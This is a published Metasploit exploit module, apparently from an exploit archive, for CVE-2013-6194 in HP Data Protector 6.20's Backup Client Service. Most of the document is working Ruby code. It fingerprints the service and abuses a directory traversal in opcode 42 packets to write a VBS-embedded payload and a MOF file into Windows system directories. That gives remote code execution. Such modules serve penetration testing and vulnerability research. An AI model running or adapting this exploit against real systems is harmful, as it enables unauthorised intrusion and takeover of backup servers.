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HP Data Protector Backup Client Service Directory Traversal

HP Data Protector Backup Client Service Directory Traversal
Posted Jan 21, 2014
Authored by juan vazquez, Brian Gorenc | Site metasploit.com

This Metasploit module exploits a directory traversal vulnerability in the Hewlett-Packard Data Protector product. The vulnerability exists at the Backup Client Service (OmniInet.exe) when parsing packets with opcode 42. This Metasploit module has been tested successfully on HP Data Protector 6.20 on Windows 2003 SP2 and Windows XP SP3.

tags | exploit
systems | windows, xp
advisories | CVE-2013-6194
MD5 | cd4b503a320d7db8abff859ab89ee7b2

HP Data Protector Backup Client Service Directory Traversal

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'HP Data Protector Backup Client Service Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability in the Hewlett-Packard Data
Protector product. The vulnerability exists at the Backup Client Service (OmniInet.exe)
when parsing packets with opcode 42. This module has been tested successfully on HP Data
Protector 6.20 on Windows 2003 SP2 and Windows XP SP3.
},
'Author' =>
[
'Brian Gorenc', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-6194' ],
[ 'OSVDB', '101630' ],
[ 'BID', '64647' ],
[ 'ZDI', '14-003' ],
[ 'URL' , 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03822422' ]
],
'Privileged' => true,
'Payload' =>
{
'Space' => 2048, # Payload embedded into an exe
'DisableNops' => true
},
'DefaultOptions' =>
{
'WfsDelay' => 5
},
'Platform' => 'win',
'Targets' =>
[
[ 'HP Data Protector 6.20 build 370 / Windows 2003 SP2', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 02 2014'))

register_options([Opt::RPORT(5555)], self.class)
end

def check
fingerprint = get_fingerprint

if fingerprint.nil?
return Exploit::CheckCode::Unknown
end

print_status("#{peer} - HP Data Protector version #{fingerprint}")

if fingerprint =~ /HP Data Protector A\.06\.(\d+)/
minor = $1.to_i
else
return Exploit::CheckCode::Safe
end

if minor < 21
return Exploit::CheckCode::Vulnerable
elsif minor == 21
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Detected
end

end

def exploit
# Setup the necessary files to do the wbemexec trick
vbs_name = rand_text_alpha(rand(10)+5) + '.vbs'
exe = generate_payload_exe
vbs = Msf::Util::EXE.to_exe_vbs(exe)
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
mof = generate_mof(mof_name, vbs_name)

# We can't upload binary contents, so embedding the exe into a VBS.
print_status("#{peer} - Sending malicious packet with opcode 42 to upload the vbs payload #{vbs_name}...")
upload_file("windows\\system32\\#{vbs_name}", vbs)
register_file_for_cleanup(vbs_name)

print_status("#{peer} - Sending malicious packet with opcode 42 to upload the mof file #{mof_name}")
upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
end

def peer
"#{rhost}:#{rport}"
end

def build_pkt(fields)
data = "\xff\xfe" # BOM Unicode
fields.each do |v|
data << "#{Rex::Text.to_unicode(v)}\x00\x00"
data << Rex::Text.to_unicode(" ") # Separator
end

data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
return [data.length].pack("N") + data
end

def get_fingerprint
ommni = connect
ommni.put(rand_text_alpha_upper(64))
resp = ommni.get_once(-1)
disconnect

if resp.nil?
return nil
end

return Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last nl
end

def upload_file(file_name, contents)
connect
pkt = build_pkt([
"2", # Message Type
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
"42", # Opcode
rand_text_alpha(8), # command
rand_text_alpha(8), # rissServerName
rand_text_alpha(8), # rissServerPort
"\\..\\..\\..\\..\\..\\#{file_name}", # rissServerCertificate
contents # Certificate contents
])
sock.put(pkt)
sock.get_once
# You cannot be confident about the response to guess if upload
# has been successful or not. While testing, different result codes,
# including also no response because of timeout due to a process
# process execution after file write on the target
disconnect
end

end

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